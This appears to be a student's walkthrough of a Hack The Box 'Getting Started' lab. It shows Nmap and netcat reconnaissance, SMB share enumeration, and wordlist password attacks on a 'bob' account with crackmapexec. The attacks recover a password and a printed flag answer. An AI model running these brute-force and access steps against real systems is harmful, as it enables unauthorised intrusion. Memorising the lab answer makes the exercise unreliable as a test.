GETTING STARTED
BASIC TOOLS
Apply what you learned in this section to grab the banner of the above server and submit it as the answer.
root@htb:~$ nc 94.237.121.100 42763
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1SERVICE SCANNING
Perform an Nmap scan of the target. What does Nmap display as the version of the service running on port 8080?
root@htb:~$ sudo nmap -sV -sC 10.129.150.121 -p-
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Feb 25 2021 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.15.201
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:01:d7:79:e9:d2:09:2a:b8:d9:b4:9a:6c:00:0c:1c (RSA)
| 256 2b:99:b2:1f:ec:1a:5a:c6:b7:be:b5:50:d1:0e:a9:df (ECDSA)
|_ 256 e4:f8:17:8d:d4:71:d1:4e:d4:0e:bd:f0:29:4f:6d:14 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: PHP 7.4.3 - phpinfo()
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
2323/tcp open telnet Linux telnetd
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2025-06-03T22:29:42
|_ start_date: N/A
|_clock-skew: -1s
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Perform an Nmap scan of the target and identify the non-default port that the telnet service is running on.
root@htb:~$ sudo nmap -sV -sC 10.129.150.121 -p-
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Feb 25 2021 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.15.201
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:01:d7:79:e9:d2:09:2a:b8:d9:b4:9a:6c:00:0c:1c (RSA)
| 256 2b:99:b2:1f:ec:1a:5a:c6:b7:be:b5:50:d1:0e:a9:df (ECDSA)
|_ 256 e4:f8:17:8d:d4:71:d1:4e:d4:0e:bd:f0:29:4f:6d:14 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: PHP 7.4.3 - phpinfo()
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
2323/tcp open telnet Linux telnetd
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2025-06-03T22:29:42
|_ start_date: N/A
|_clock-skew: -1s
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
List the SMB shares available on the target host. Connect to the available share as the bob user. Once connected, access the folder called 'flag' and submit the contents of the flag.txt file.
root@htb:~$ sudo nmap -sV -sC 10.129.150.121 -p-
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Feb 25 2021 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.15.201
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:01:d7:79:e9:d2:09:2a:b8:d9:b4:9a:6c:00:0c:1c (RSA)
| 256 2b:99:b2:1f:ec:1a:5a:c6:b7:be:b5:50:d1:0e:a9:df (ECDSA)
|_ 256 e4:f8:17:8d:d4:71:d1:4e:d4:0e:bd:f0:29:4f:6d:14 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: PHP 7.4.3 - phpinfo()
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
2323/tcp open telnet Linux telnetd
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2025-06-03T22:29:42
|_ start_date: N/A
|_clock-skew: -1s
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
root@htb:~$ find / -iname *username* 2>/dev/null
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
root@htb:~$ cp /usr/share/seclists/Usernames/top-usernames-shortlist.txt .
#this will test whether shares can be listed w/o passwords
root@htb:~$ smbclient -N -L \\\\10.129.150.121
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
users Disk
IPC$ IPC IPC Service (gs-svcscan server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
* the -N must be specified BEFORE the -L
root@htb:~$ smbclient -N \\\\10.129.150.121\\users
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>
root@htb:~$ find / -iname *worst* 2>/dev/null
/usr/share/seclists/Passwords/500-worst-passwords.txt
root@htb:~$ cp /usr/share/seclists/Passwords/500-worst-passwords.txt .
root@htb:~$ which crackmapexec
/usr/bin/crackmapexec
root@htb:~$ crackmapexec smb 10.129.150.91 -u bob -p 500-worst-passwords.txt
SMB 10.129.150.91 445 GS-SVCSCAN [*] Windows 6.1 Build 0 (name:GS-SVCSCAN) (domain:) (signing:False) (SMBv1:False)
SMB 10.129.150.91 445 GS-SVCSCAN [-] \bob:123456 STATUS_LOGON_FAILURE
...
* nothing found
root@htb:~$ cp /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt .
root@htb:~$ crackmapexec smb 10.129.150.91 -u bob -p 2020-200_most_used_passwords.txt
SMB 10.129.150.91 445 GS-SVCSCAN [*] Windows 6.1 Build 0 (name:GS-SVCSCAN) (domain:) (signing:False) (SMBv1:False)
SMB 10.129.150.91 445 GS-SVCSCAN [-] \bob:123456 STATUS_LOGON_FAILURE
...
* nothing found
root@htb:~$ cp /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt .
root@htb:~$ crackmapexec smb 10.129.150.91 -u bob -p xato-net-10-million-passwords-10000.txt -t 1024
* default threads is 256
- crackmapexec smb -h
root@htb:~$ crackmapexec smb 10.129.150.91 -u bob -p test.txt -d .
SMB 10.129.150.91 445 GS-SVCSCAN [*] Windows 6.1 Build 0 (name:GS-SVCSCAN) (domain:) (signing:False) (SMBv1:False)
SMB 10.129.150.91 445 GS-SVCSCAN [+] .\bob:Welcome1
* -d specifies the domain name to use during authentication
- the -d MUST be specified else CME will to guess the domain or uses the username as-is and the correct password won't be found
root@htb:~$ smbclient \\\\10.129.150.91\\users -U bob%Welcome1
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Feb 25 17:06:52 2021
.. D 0 Thu Feb 25 14:05:31 2021
flag D 0 Thu Feb 25 17:09:26 2021
bob D 0 Thu Feb 25 15:42:23 2021
4062912 blocks of size 1024. 1277784 blocks available
smb: \> cd flag
smb: \flag\> ls
. D 0 Thu Feb 25 17:09:26 2021
.. D 0 Thu Feb 25 17:06:52 2021
flag.txt N 33 Thu Feb 25 17:09:26 2021
4062912 blocks of size 1024. 1277780 blocks available
smb: \flag\> get flag.txt
getting file \flag\flag.txt of size 33 as flag.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \flag\> exit
root@htb:~$ cat flag.txt
dceece590f3284c3866305eb2473d099WEB ENUMERATION
Try running some of the web enumeration techniques you learned in this section on the server above, and use the info you get to get the flag.
PUBLIC EXPLOITS
Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)
PRIVILEGE ESCALATION
SSH into the server above with the provided credentials, and use the '-p xxxxxx' to specify the port shown above. Once you login, try to find a way to move to 'user2', to get the flag in '/home/user2/flag.txt'.
Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'.
NIBBLES - ENUMERATION
Run an nmap script scan on the target. What is the Apache version running on the server? (answer format: X.X.XX)
NIBBLES - INITIAL FOOTHOLD
NIBBLES - PRIVILEGE ESCALATION
Last updated